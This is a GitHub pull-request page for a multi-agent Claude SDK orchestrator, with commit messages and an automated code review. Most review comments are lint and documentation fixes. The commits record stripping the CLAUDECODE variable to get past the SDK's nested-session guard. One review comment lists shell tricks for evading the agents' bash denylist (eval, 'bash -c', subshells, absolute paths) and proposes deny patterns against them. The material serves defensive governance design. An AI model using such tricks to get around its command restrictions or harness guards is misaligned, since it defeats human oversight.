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feat(orchestrator): SDK Orchestrator with parallel workflow execution#538

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feat(orchestrator): SDK Orchestrator with parallel workflow execution#538
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@savinoo
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@savinoo savinoo commented Mar 1, 2026

Summary

  • Implements Epic E7 — multi-agent SDK Orchestrator using Claude Agent SDK query()
  • Each AIOS agent gets isolated Claude Code sessions with governance hooks, budget tracking, and crash recovery
  • Per-story state files enable parallel workflow execution without conflicts
  • Fixes SDK nested-session guard (CLAUDECODE env var) and shared state file conflicts

Components

  • packages/aios-orchestrator/ — Full orchestrator package (14K+ lines)
  • Agent registry, session manager, workflow engine, governance hooks, comms bridge, CLI
  • 573 tests, 0 failures

Test plan

  • All 573 unit tests passing
  • 3 parallel stories executed simultaneously
  • Story 3 completed full SDC cycle (PO→DEV→QA→DEVOPS) in 3m21s
  • Stories 1 & 2 correctly aborted after max PO retries
  • Per-story state files isolated (no conflicts)
  • SDK query() works with CLAUDECODE stripped from env

🤖 Generated with Claude Code

Summary by CodeRabbit

  • New Features

    • OpenClaw gateway integration, OpenClaw MCP bridge CLI, and Session Daemon Phase 0 (persistent sessions + file-based IPC).
  • Documentation

    • Large set of architecture, validation, PRD, research, agent-flow and observability docs (gateway, personal memory, Telegram bridge, SDK orchestrator, cost/market analysis).
  • Configuration

    • New OpenClaw contract and MCP server settings; updated tracking rules for build/playbook artifacts.
  • Chores

    • Rename of DevOps role references from github-devops → devops across docs.

Ubuntu and others added 3 commits March 1, 2026 13:05
…ch docs

New packages:
- telegram-bridge: 4-bot Telegram observability bridge with agent routing,
  rate limiting, digest mode, and credential redaction
- session-daemon: IPC-based daemon for AIOS agent orchestration via
  inbox/outbox filesystem protocol
- aios-mcp-federation: MCP federation layer with contract validation
  and OpenClaw tools adapter

Research & Architecture:
- Autonomous agents market research and cost analysis
- Multi-daemon architecture analysis
- Gateway, session-daemon, and telegram bridge architecture docs
- Freelance machine and LinkedIn strategy research

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- V1.1: Add R0 verification as blocking pre-requisite for Phase 0
- V3.2: Remove Bash from @qa, add systemd ReadOnlyPaths
- V3.3: Add explicit bash_mode field (allowlist/denylist/none)
- V4.2: Add iteration_count to workflows SQLite table
- V5.2: Change denied_bash_patterns from substring to regex
- V9.3: Specify write-then-rename atomic protocol for event bus
- V11.3: Add Orchestrator watchdog (systemd WatchdogSec + sd_notify)

Also: added worker profiles for all 11 agents (was only 4),
systemd_scope for @architect and @qa, and Appendix B summary.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
…tion

Implements Epic E7 — multi-agent orchestrator using Claude Agent SDK query().
Each AIOS agent gets an isolated Claude Code session with governance hooks,
budget tracking, and crash recovery.

Key components:
- Agent registry (11 agents with tool restrictions)
- Session manager (SDK query() wrapper with retry logic)
- Workflow engine (SDC state machine with backward-jump retry)
- Governance hooks (authority matrix + bash evasion blocking)
- Comms bridge (Telegram outbox IPC)
- CLI with dry-run, status, abort, and crash recovery
- Per-story state files for parallel execution isolation

Fixes:
- Strip CLAUDECODE env var to prevent nested-session guard (SDK bug)
- Per-story state files (workflow-state-{slug}.json) for parallel isolation
- Resume() now receives workflowId string instead of state object

573 tests, 0 failures. Validated with 3 parallel stories:
Story 3 completed full SDC cycle (PO→DEV→QA→DEVOPS) in 3m21s.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
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coderabbitai bot commented Mar 1, 2026

Walkthrough

Adds extensive architecture/validation documentation (autonomous agents, gateway, session daemon, Telegram bridge), a new OpenClaw federation contract and OpenClaw MCP bridge package, many agent-memory docs, small config/package/gitignore edits, and a mass textual rename of @github-devops@devops. No production runtime code logic was changed.

Changes

Cohort / File(s) Summary
Gateway & contract
aios-openclaw-contract.yaml, docs/architecture/gateway-agent-architecture.md, docs/architecture/gateway-personal-memory-architecture.md, docs/architecture/gateway-personal-validation.md
New OpenClaw federation contract and extensive gateway architecture + personal-memory design and validation docs; introduces inbox/outbox handoff schemas and routing patterns.
Session daemon & observability
docs/architecture/session-daemon-phase0.md, docs/architecture/session-daemon-phase0-validation.md, docs/architecture/telegram-observability-bridge.md, docs/architecture/telegram-observability-validation.md
New Session Daemon Phase 0 architecture and validation; Telegram observability bridge design and validation docs with component flows and recovery.
Core autonomous architecture & PRD
docs/architecture/autonomous-agents-architecture.md, docs/architecture/autonomous-agents-validation.md, docs/product/prd-sdk-orchestrator.md
Large architecture blueprint, phased rollout, governance, validation reports, and SDK Orchestrator PRD.
Research & cost/market
docs/research/autonomous-agents-cost-analysis.md, docs/research/autonomous-agents-market-research.md
Cost analysis and market research documents with scenarios, estimates, and recommendations.
Agent memory & CLI docs
.claude/CLAUDE.md, .claude/agent-memory/...
Multiple agent-memory additions/updates describing gateway integration, CLI flags, audits, and memory artifacts.
Packaging & config
openclaw-mcp-bridge/package.json, .claude/settings.local.json, .gitignore, .aios-core/core-config.yaml
Adds openclaw-mcp-bridge package metadata, enables openclaw-bridge MCP server in local settings, unignores POC scripts/output, and flips frameworkProtection to true.
Role rename: devops
many files under .aios-core, .claude/commands, docs/, .codex/, .gemini/, ...
Widespread textual substitution replacing @github-devops with @devops across docs, agent definitions, templates, and examples (nominal change only).
Manifests & minor code
.aios-core/install-manifest.yaml, .aios-core/core/quality-gates/notification-manager.js, templates
Install manifest metadata refreshed, one notification changed to reference @devops, and template headers updated; no functional code changes.
Marketing & freelance content
docs/research/freelance-machine/*, docs/research/linkedin-strategy/...
Multiple new marketing/outreach templates, profiles, proposals, and LinkedIn strategy content.

Sequence Diagram(s)

mermaid
sequenceDiagram
participant User as "External User"
participant OC_GW as "OpenClaw Gateway\n(Inbox Writer)"
participant FS as "Filesystem Inbox\n/home/ubuntu/aios-core/.aios/inbox/"
participant AIOS_W as "AIOS Inbox Watcher/Processor"
participant AIOS_M as "AIOS Master / Agent Router"
participant Agent as "Target Agent"
participant Outbox as "Filesystem Outbox\n.../.aios/outbox/"
participant OC_DEL as "OpenClaw Deliverer\n(Outbox Reader)"
User->>OC_GW: Send message (WhatsApp/DM)
OC_GW->>FS: Validate & write inbox JSON (status: pending)
AIOS_W->>FS: Poll & read pending inbox
AIOS_W->>AIOS_M: Route message (classify intent, enqueue)
AIOS_M->>Agent: Dispatch task / provide context
Agent-->>AIOS_M: Result / response
AIOS_M->>Outbox: Write outbox JSON (status: processed)
OC_DEL->>Outbox: Read outbox item
OC_DEL->>User: Deliver response

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~75 minutes

Possibly related PRs

Suggested labels

area: workflows, area: agents, core, ci/cd, tools, squad, squad: creator, preset, docker-mcp, tests, documentation

Suggested reviewers

  • oalanicolas
  • Pedrovaleriolopez
🚥 Pre-merge checks | ✅ 3
✅ Passed checks (3 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly and specifically describes the main feature being implemented: the SDK Orchestrator with parallel workflow execution capability.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

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  • Post copyable unit tests in a comment

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Actionable comments posted: 15

Note

Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.

🟡 Minor comments (19)
.claude/agent-memory/oalanicolas/MEMORY.md-16-16 (1)

16-16: ⚠️ Potential issue | 🟡 Minor

Capitalize "GitHub" brand name.

The brand name should be capitalized as "GitHub" rather than "github".

✏️ Proposed fix
-  - Discrepancies found: age (22 vs 24), humor style (autodepreciativo vs situational), github username (savinoo vs lulosavino)
+  - Discrepancies found: age (22 vs 24), humor style (autodepreciativo vs situational), GitHub username (savinoo vs lulosavino)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/agent-memory/oalanicolas/MEMORY.md at line 16, Update the brand
capitalization in the MEMORY.md entry by replacing any lowercase "github"
occurrences with the correct "GitHub" casing; look for the token "github
username (savinoo vs lulosavino)" and similar mentions in the file and change
them to "GitHub" while preserving the rest of the text and usernames.
.claude/commands/content-visual.md-178-178 (1)

178-178: ⚠️ Potential issue | 🟡 Minor

Table row has inconsistent column count.

This row has 3 cells but the table header defines 2 columns. The content after "AI Agent Engineer" appears to be part of the same cell but the pipe character splits it.

Proposed fix
-| **Branding** | "Lucas Lorenzo Savino | AI Agent Engineer" — subtle, bottom or top corner |
+| **Branding** | "Lucas Lorenzo Savino \| AI Agent Engineer" — subtle, bottom or top corner |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/commands/content-visual.md at line 178, The table row for the
Branding entry has an extra pipe splitting the second cell into a third; update
the row that starts with "**Branding**" so it has exactly two cells by escaping
or removing the pipe inside the text—e.g., escape the internal pipe as \| or
replace it with the HTML entity &#124; or rephrase to avoid the pipe—so the row
becomes: first cell "**Branding**" and second cell containing the text "Lucas
Lorenzo Savino | AI Agent Engineer — subtle, bottom or top corner" (with the
internal pipe escaped or removed) to match the table header.
openclaw-mcp-bridge/package.json-11-11 (1)

11-11: ⚠️ Potential issue | 🟡 Minor

Test script suppresses stderr and has a fallback message.

The 2>/dev/null || echo 'No tests yet' pattern masks potential test failures. If tests exist but fail, the error output is discarded and the command exits successfully with the fallback message.

Proposed fix
-    "test": "node --test src/*.test.js 2>/dev/null || echo 'No tests yet'"
+    "test": "node --test src/*.test.js || echo 'No test files found'"

Alternatively, if no tests exist yet, simply use:

"test": "echo 'No tests implemented yet' && exit 0"
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@openclaw-mcp-bridge/package.json` at line 11, The package.json "test" script
currently suppresses stderr and falls back to a success message, hiding real
test failures; update the "test" script entry (the "test" key in package.json)
so it does not redirect stderr to /dev/null or use a fallback echo on
failure—either run the node --test command directly to surface errors (e.g.,
"node --test src/*.test.js") or, if you truly have no tests yet, replace it with
an explicit no-tests-success command that echoes a message and exits 0 (e.g., an
explicit echo and exit 0) so failures are not masked.
docs/architecture/session-daemon-phase0-validation.md-382-382 (1)

382-382: ⚠️ Potential issue | 🟡 Minor

Add language tags to fenced blocks (text) to clear MD040 warnings.

These fences are currently unlabeled and trigger markdownlint warnings.

Also applies to: 390-390, 556-556, 723-723, 727-727, 747-747

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/session-daemon-phase0-validation.md` at line 382, Several
fenced code blocks in the document are unlabeled and trigger markdownlint MD040;
locate the unlabeled triple-backtick blocks (``` ... ```) such as those
currently intended to be plain text and add the language tag "text" after the
opening fence (i.e., change ``` to ```text) for each occurrence (including the
blocks called out in the comment); ensure every unlabeled fenced block is
updated so markdownlint no longer reports MD040.
docs/research/freelance-machine/proposal-templates.md-19-19 (1)

19-19: ⚠️ Potential issue | 🟡 Minor

Add language identifiers to fenced code blocks (text) to resolve MD040.

The template blocks are currently unlabeled and trigger markdownlint warnings.

🧩 Example fix pattern
-```
+```text
 Hi [CLIENT NAME],
 ...
-```
+```

Also applies to: 66-66, 113-113, 160-160, 208-208

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/research/freelance-machine/proposal-templates.md` at line 19, The
markdown has unlabeled fenced code blocks that trigger MD040; fix each template
fenced block by adding the language identifier "text" to the opening fence
(change ``` to ```text) so the block is recognized as plain text; update every
occurrence of unlabeled triple-backtick fences in the document (all template
examples) to use ```text while leaving the closing ``` unchanged.
docs/research/linkedin-strategy/2026-03-01-relatorio-estrategico.md-73-73 (1)

73-73: ⚠️ Potential issue | 🟡 Minor

Label fenced blocks with a language (text) to satisfy MD040.

These code fences are unlabeled and currently fail markdown linting.

Also applies to: 142-142, 158-158, 173-173, 241-241

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/research/linkedin-strategy/2026-03-01-relatorio-estrategico.md` at line
73, Several fenced code blocks in the markdown use plain triple backticks (```)
with no language label, which triggers MD040; update each unlabeled fence (the
literal ``` blocks) to include a language tag `text` (i.e., change ``` to
```text) so the blocks at the noted locations render correctly and satisfy the
linter.
docs/research/linkedin-strategy/2026-03-01-relatorio-estrategico.md-184-184 (1)

184-184: ⚠️ Potential issue | 🟡 Minor

Weekday labels are incorrect for the listed March 2026 dates.

The calendar currently mismatches day/date pairs.
Examples:

  • 2026-03-03 is Tuesday (not Monday)
  • 2026-03-05 is Thursday (not Wednesday)
  • 2026-03-07 is Saturday (not Friday)

Please correct the weekday headers so scheduling automation and manual posting plans stay aligned.

Also applies to: 188-190, 194-194, 198-200, 202-202, 206-208

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/research/linkedin-strategy/2026-03-01-relatorio-estrategico.md` at line
184, The weekday labels for the March 2026 dates under the heading "### Semana
1: Trilogia (03-07 de março 2026) — JÁ PRONTOS" are wrong; update every
occurrence of the date/week pairs referenced (also present in the nearby
sections) so the dates match the correct weekdays: 2026-03-03 → Tuesday,
2026-03-04 → Wednesday, 2026-03-05 → Thursday, 2026-03-06 → Friday, 2026-03-07 →
Saturday; locate the date strings in the markdown (the heading and the lines
around it) and replace the incorrect weekday names accordingly to keep
scheduling automation and manual posting plans aligned.
docs/architecture/autonomous-agents-architecture.md-89-89 (1)

89-89: ⚠️ Potential issue | 🟡 Minor

Add language identifiers to fenced blocks to satisfy MD040.

There are many unlabeled fences; adding text, json, yaml, bash, sql, or ini where appropriate will clear markdownlint warnings and improve readability.

Also applies to: 137-137, 204-204, 231-231, 291-291, 530-530, 537-537, 551-551, 572-572, 654-654, 734-734, 820-820, 843-843, 858-858, 873-873, 927-927, 952-952, 986-986, 1125-1125, 1185-1185, 1268-1268, 1318-1318, 1338-1338, 1499-1499, 1800-1800

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/autonomous-agents-architecture.md` at line 89, The markdown
has many unlabeled fenced code blocks (raw ``` fences) causing MD040 warnings;
update each unlabeled fence (the triple-backtick blocks) to include an
appropriate language identifier such as text, json, yaml, bash, sql, or ini
based on the block content—for example replace ``` with ```json for JSON
snippets, ```yaml for YAML, ```bash for shell commands, or ```text for plain
text—make this change for the specific unlabeled fences noted (and the other
occurrences listed: 137, 204, 231, 291, 530, 537, 551, 572, 654, 734, 820, 843,
858, 873, 927, 952, 986, 1125, 1185, 1268, 1318, 1338, 1499, 1800) so all
markdownlint MD040 warnings are resolved.
.claude/CLAUDE.md-442-449 (1)

442-449: ⚠️ Potential issue | 🟡 Minor

Duplicate proactive-notification sections should be consolidated.

These two blocks overlap semantically and can drift over time. Keep one canonical section to avoid operator confusion.

Also applies to: 450-456

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/CLAUDE.md around lines 442 - 449, Consolidate the duplicate "Canal
Bidirecional (Notificação Ativa)" sections into a single canonical block: keep
one definitive heading and the bash example (the sudo /usr/bin/openclaw message
send --target ... --message ... command) and remove the overlapping duplicate
(the other block referenced as also applies to: 450-456), ensuring the retained
section contains the exact notification command and a brief guidance line;
update any cross-references so only the canonical "Canal Bidirecional
(Notificação Ativa)" remains.
docs/architecture/gateway-personal-memory-architecture.md-78-117 (1)

78-117: ⚠️ Potential issue | 🟡 Minor

Add missing fenced-code languages (MD040).

Please annotate these fenced blocks (text, yaml, json, bash, etc.) to satisfy lint checks and improve rendering.

Also applies to: 353-381, 510-532, 589-604, 608-620, 624-657, 685-689, 703-707, 721-727, 741-746, 762-765, 775-794, 899-918, 924-935, 1011-1013, 1021-1023, 1031-1033, 1087-1089, 1133-1140, 1150-1183, 1187-1223, 1227-1253, 1257-1281, 1285-1316, 1320-1341, 1361-1367, 1383-1386, 1402-1405, 1422-1426, 1442-1450, 1466-1470

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/gateway-personal-memory-architecture.md` around lines 78 -
117, The Markdown contains many fenced code blocks without language annotations
(MD040); update each triple-backtick block shown (e.g., the ASCII diagram block
and all listed ranges) to include an appropriate language hint (for example
```text for ASCII diagrams, ```yaml for YAML snippets, ```json for JSON, ```bash
for shell commands, etc.). Locate the fences in the document (the ASCII diagram
starting with +================================================================+
and the other blocks referenced in the review) and add the correct language
identifier immediately after the opening ``` so the linter and renderer can
properly highlight them.
docs/product/prd-sdk-orchestrator.md-230-235 (1)

230-235: ⚠️ Potential issue | 🟡 Minor

Address markdown lint findings (MD040/MD058).

Add a language to the CLI fenced block and surround the metrics table with blank lines to satisfy configured lint rules.

Also applies to: 246-253

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/product/prd-sdk-orchestrator.md` around lines 230 - 235, The CLI code
fence currently lacks a language tag and the metrics table isn't separated by
blank lines; update the fenced block starting with ``` (the CLI examples like
"node orchestrator.mjs --workflow sdc ...") to use a language indicator (e.g.,
```bash) and insert a blank line before and after the metrics table section (the
table referenced around lines 246-253) so the markdown linter MD040/MD058 pass.
docs/product/prd-sdk-orchestrator.md-217-223 (1)

217-223: ⚠️ Potential issue | 🟡 Minor

Add an explicit resume command to the CLI contract.

FR-022 requires resume-after-crash behavior, but the CLI examples omit a --resume path keyed by workflow identifier. Add it to make the recovery interface testable and unambiguous.

Proposed CLI contract addition
 node orchestrator.mjs --workflow sdc --story <path> [--max-budget <usd>]
 node orchestrator.mjs --workflow qa-loop --story <path>
+node orchestrator.mjs --resume --workflow-id <id>
 node orchestrator.mjs --status
 node orchestrator.mjs --abort

Also applies to: 229-235

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/product/prd-sdk-orchestrator.md` around lines 217 - 223, Update the CLI
contract in the FR-022 documentation to include an explicit resume command
option (e.g., a `--resume <workflow-id>` flag) so that recovery is testable and
unambiguous; reference FR-022 and the workflow-state.json semantics (use
`currentPhase` and `phaseHistory`) in the CLI example and explain that invoking
the CLI with `--resume <workflow-id>` will read workflow-state.json, detect the
incomplete phase (present in `currentPhase` but missing completion in
`phaseHistory`), re-execute that phase from the start and continue the workflow.
docs/architecture/gateway-personal-validation.md-44-48 (1)

44-48: ⚠️ Potential issue | 🟡 Minor

Add language identifiers to fenced code blocks.

These fences are missing language tags (MD040), which hurts lint compliance and readability.

Also applies to: 69-73, 92-96, 116-121, 142-147, 303-306, 526-530, 712-716, 722-726

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/gateway-personal-validation.md` around lines 44 - 48, The
fenced code blocks (e.g., the snippet beginning with "Lucas sends: \"Estou
cansado mas precisa terminar o modulo de pagamento\"" and the other similar
blocks) are missing language identifiers; update each triple-backtick fence to
include an appropriate language tag (for example ```text or ```yaml depending on
the block content) for all occurrences noted (the blocks around the shown
snippet and the other ranges mentioned) so the markdown linter (MD040) is
satisfied and readability is improved.
docs/architecture/gateway-agent-architecture.md-95-144 (1)

95-144: ⚠️ Potential issue | 🟡 Minor

Add fenced-code language annotations (MD040).

These blocks should declare a language (text, json, yaml, etc.) to satisfy markdown linting.

Also applies to: 152-158, 164-188, 194-202, 208-215, 221-231, 340-345, 359-365, 368-371, 375-379, 586-606, 716-722, 749-755, 913-915, 918-923

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/gateway-agent-architecture.md` around lines 95 - 144, The
fenced ASCII diagram block that begins with
"+------------------------------------------------------------------+" and
contains "MACHINE (Ubuntu)" (and the other fenced blocks noted in the comment)
must declare a language to satisfy MD040; update each triple-backtick fence to
include an appropriate language tag (for these ASCII diagrams use "text" or
"ascii", and for other fenced blocks choose "yaml", "json", etc. as appropriate)
so the blocks read e.g. ```text or ```yaml; ensure you apply this change to the
diagram block containing "MACHINE (Ubuntu)" and the other listed blocks
(152-158, 164-188, 194-202, 208-215, 221-231, 340-345, 359-365, 368-371,
375-379, 586-606, 716-722, 749-755, 913-915, 918-923).
docs/architecture/autonomous-agents-validation.md-296-327 (1)

296-327: ⚠️ Potential issue | 🟡 Minor

V4.2: QA Loop infinite iteration - critical structural gap.

The scenario walkthrough is clear and the FAIL verdict is justified. The architecture requires bounded iteration (max_iterations: 5) but provides no structural mechanism to track and enforce the bound.

The recommendation (R3, lines 888-895) to add iteration_count and max_iterations columns to the SQLite schema is correct and actionable.

Minor improvement: Consider whether iteration_count should be scoped per-phase (only QA loop iterations) or per-workflow (all retries across all phases). The current recommendation doesn't clarify this.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/autonomous-agents-validation.md` around lines 296 - 327,
The architecture lacks a persistent iteration counter for the QA Loop, risking
infinite retry loops; add an iteration_count INTEGER DEFAULT 0 (and a
max_iterations INTEGER) to the workflows SQLite table schema (augmenting
current_phase, current_step, context), update the Workflow Engine to increment
workflows.iteration_count whenever a task_completed event leads to creating a
re-review/fix task, and change the engine logic that currently emits
max_iterations_reached/escalation to check workflows.iteration_count >=
max_iterations and emit escalation instead of creating another fix task; decide
whether iteration_count is scoped per-workflow or per-phase (e.g., tied to
current_phase) and document that choice in the Workflow Engine handling for
task_completed and escalation.
docs/architecture/telegram-observability-validation.md-134-154 (1)

134-154: ⚠️ Potential issue | 🟡 Minor

Option D (Session + Queue) analysis is thorough but has a gap.

Line 152 states "Claude Code sessions have token limits and eventually need /compact or restart" but doesn't quantify this. How many messages can be processed before context window exhaustion becomes a problem?

The recommendation doesn't specify:

  • Maximum session lifetime before mandatory restart
  • Context window monitoring/alerting
  • Graceful session rotation strategy

Without these, Option D is underspecified as the "most viable" option.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/telegram-observability-validation.md` around lines 134 -
154, Option D's analysis omits concrete operational limits and handling for
Claude Code session context exhaustion; update the document to specify numeric
session limits and clear rotation/monitoring strategy: state an estimated
maximum session lifetime (e.g., max processed messages or token count) before
mandatory restart, define context window monitoring/alerting rules (metrics and
thresholds), describe a graceful session rotation protocol (how AIOS
Master/daemon detects threshold, runs `/compact` or starts a new Claude Code
session, transfers state, and drains/queues inflight messages), and add a crash
recovery recipe (how to rehydrate session state from the queue and resume).
Reference the Option D narrative, "Claude Code sessions", the AIOS Master
daemon, `/compact` command, and the queuing behavior described for "openclaw
message send" when specifying these limits and procedures.
docs/architecture/autonomous-agents-validation.md-753-770 (1)

753-770: ⚠️ Potential issue | 🟡 Minor

V11.3: Missing Orchestrator watchdog - critical operational gap.

The "who watches the watchdog" question is fundamental. The three crash/hang scenarios (crash loop, hang without exit, memory leak approaching limit) are all realistic operational failures.

The three-part recommendation (systemd WatchdogSec, Telegram Bridge health check, max crash loop count) is comprehensive and correct. This is properly identified as a FAIL because there's no mechanism to detect Orchestrator failure during overnight execution.

Clarity improvement: Line 769 mentions "EMERGENCY WhatsApp notification" but the document hasn't established WhatsApp as the emergency channel (Telegram is the primary communication channel in this architecture). Cross-reference the notification escalation hierarchy.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/autonomous-agents-validation.md` around lines 753 - 770,
Document and implement a watchdog strategy for the Orchestrator: add guidance to
the Orchestrator systemd unit to set WatchdogSec=60 and explain that the
Orchestrator must call sd_notify("WATCHDOG=1") periodically (reference the
"Orchestrator" service and its systemd unit in the doc), update the Telegram
Bridge section to include a periodic checker of orchestrator/state.json (and/or
health.json) that alerts if state.json is stale for >5 minutes, and add a clear
overnight crash-loop policy (max crash count N -> send an EMERGENCY escalation
and halt restarts), while also clarifying the notification escalation hierarchy
(explicitly state whether WhatsApp or Telegram is the emergency channel and
cross-reference the notification section).
docs/architecture/autonomous-agents-validation.md-606-622 (1)

606-622: ⚠️ Potential issue | 🟡 Minor

V8.3: Correction of fork() memory model assumption.

Lines 611-612 correctly state: "Node.js child_process.fork() does NOT share V8 heap with copy-on-write." This is accurate - Node.js fork() spawns a completely new process.

However, line 621 then says "fork() is still a reasonable choice because it provides built-in IPC." This is correct but understates the implication: the architecture's Decision D4 rationale is based on a false premise.

The verdict is CONCERNS, but consider whether this should be FAIL since the decision rationale is factually incorrect. The outcome (choosing fork) may be correct, but the reasoning is flawed.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/autonomous-agents-validation.md` around lines 606 - 622,
The V8.3 section and Decision D4 rely on an incorrect technical premise about
Node.js child_process.fork() sharing the V8 heap; update the text in the V8.3
discussion and Decision D4 rationale to remove the copy-on-write claim and
explicitly state that child_process.fork() creates a new Node/V8 instance (no
shared heap), while keeping the final choice rationale focused on the real
benefit—built-in IPC via process.send()/process.on('message')—and adjust the
verdict from "CONCERNS" to either keep it or change to "FAIL" depending on
acceptance of the corrected rationale; search for references to "Decision D4",
"V8.3", and the mentions of fork()/spawn()/exec() to locate and edit the
rationale accordingly.
docs/architecture/autonomous-agents-validation.md-382-412 (1)

382-412: ⚠️ Potential issue | 🟡 Minor

V5.2: Bash pattern bypass analysis is thorough and correct.

The list of bypass techniques (extra spaces, case variation, absolute paths, command substitution, eval, subshell) demonstrates deep understanding of shell escaping. The verdict is appropriately FAIL because pattern matching is "one step above advisory."

Correction: The Claude Agent SDK does support bash command restrictions—via permissions rules in settings.json using Bash(prefix-pattern) syntax (e.g., Bash(git push *), Bash(curl *)). The SDK evaluates rules in order (deny → ask → allow), so explicit deny rules override any allow rules. This is not a theoretical feature you need to verify; it is the structural solution already available.

The architecture should explicitly state whether denied_bash_patterns uses this SDK mechanism or a custom implementation. If custom, apply the same mitigations: document the matching algorithm explicitly (prefix vs. substring), enforce case-insensitive matching, and add patterns for eval, bash -c, sh -c, exec, and absolute path variants. Accept this as defense-in-depth Layer 2 (heuristic) while Layer 3 (systemd) becomes the structural guarantee in Phase 5.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/autonomous-agents-validation.md` around lines 382 - 412,
Clarify whether denied_bash_patterns is implemented via the Claude Agent SDK
permissions (settings.json Bash(prefix-pattern) rules) or is a custom matcher;
if it is not using the SDK, switch to or document and implement a stronger
heuristic: use ordered deny-first SDK-style rules (deny→ask→allow) or, for
custom code, replace naive substring checks with case-insensitive regex/prefix
matching (e.g., /\bgit\s+push\b/i or anchor/prefix rules), explicitly handle
absolute paths and flags (e.g., match /(^|\/)git(\s|$)/ and patterns like
/(^|\s)(eval|bash\s+-c|sh\s+-c|exec)\b/i), and add patterns to catch command
substitution and escaping (eval, bash -c, sh -c, exec, absolute paths, and
common escapes); document the exact matching algorithm and rule evaluation order
in the architecture and mark this as defense-in-depth (Layer 2) while relying on
systemd/SDK for structural enforcement.
🧹 Nitpick comments (20)
openclaw-mcp-bridge/package.json (1)

3-3: Initial package version is 2.0.0.

Starting a new package at version 2.0.0 is unconventional. Typically, new packages start at 0.1.0 (pre-release) or 1.0.0 (first stable release). If this is intentional (e.g., aligning with a broader versioning scheme), please document the rationale.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@openclaw-mcp-bridge/package.json` at line 3, The package.json currently sets
"version": "2.0.0" which is unexpected for a new package; update the version
field in package.json to a conventional initial version such as "0.1.0" (or
"1.0.0" if this is intended as the first stable release), and if keeping "2.0.0"
intentionally, add a short comment in the repository (e.g., a line in README or
a VERSION.md) explaining the rationale and alignment with any broader versioning
scheme so reviewers understand it's deliberate.
.claude/commands/content-visual.md (2)

193-204: Add language specifier to handoff protocol code block.

This code block should have a language specifier for consistent rendering.

Proposed fix
-```
+```markdown
 ## HANDOFF: `@content-visual` → @{to_agent}
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/commands/content-visual.md around lines 193 - 204, Add a language
specifier to the fenced code block that starts with "## HANDOFF: `@content-visual`
→ @{to_agent}" so the block is rendered consistently (replace the opening triple
backticks with a language-tagged fence such as ```markdown); update the fence
for that specific code block only (the block containing the HANDOFF header and
list of Mission/Deliverables/Notes).

121-127: Add language specifier to fenced code block.

The SCDS prompt structure code block lacks a language specifier. While this is a text template rather than code, adding a specifier improves rendering consistency.

Proposed fix
-```
+```text
 [SUBJECT]: {Main focus — what the image shows}
 [SETTING]: {Environment, background, atmosphere}
 [STYLE]: {Visual style — dark tech, neon, minimalist, etc.}
 [TECHNICAL]: {Aspect ratio, resolution, special requirements}
 [NEGATIVE]: {What to avoid — cluttered, text-heavy, low contrast}
</details>

<details>
<summary>🤖 Prompt for AI Agents</summary>

Verify each finding against the current code and only fix it if needed.

In @.claude/commands/content-visual.md around lines 121 - 127, Update the fenced
code block that contains the template lines "[SUBJECT], [SETTING], [STYLE],
[TECHNICAL], [NEGATIVE]" to include a language specifier (for example "text")
after the opening triple backticks so the block is rendered consistently; locate
the block with those bracketed labels and change the opening fence from ``` to

docs/research/freelance-machine/market-analysis.md (1)

478-485: Consider adding a disclaimer for tax/financial guidance.

The tax and financial considerations section provides helpful general guidance for Brazil-based freelancers. Consider adding a brief disclaimer that this is general information and readers should consult with a qualified tax professional for their specific situation.

Suggestion
 ### Tax & Financial Considerations (Brazil)

+> **Disclaimer:** The following is general guidance only. Consult a qualified tax professional (contador) for advice specific to your situation.
+
 - Register as MEI (Microempreendedor Individual) initially -- up to R$81,000/year (~$15,000 at current rates)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/research/freelance-machine/market-analysis.md` around lines 478 - 485,
Add a brief disclaimer under the "Tax & Financial Considerations (Brazil)"
section clarifying that the points are general information and not professional
advice; explicitly state readers should consult a qualified tax or financial
professional for personalized guidance and that laws/rates may change. Place the
disclaimer directly above or below the existing bullet list so it's clearly
associated with that section.
.claude/settings.local.json (1)

17-17: Consider the security implications of enableAllProjectMcpServers: true.

This setting enables all MCP servers at the project level. While this may be intentional for development convenience, it could inadvertently expose functionality from MCP servers that weren't meant to be active. If only openclaw-bridge is needed, consider keeping this false and explicitly listing required servers in enabledMcpjsonServers.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

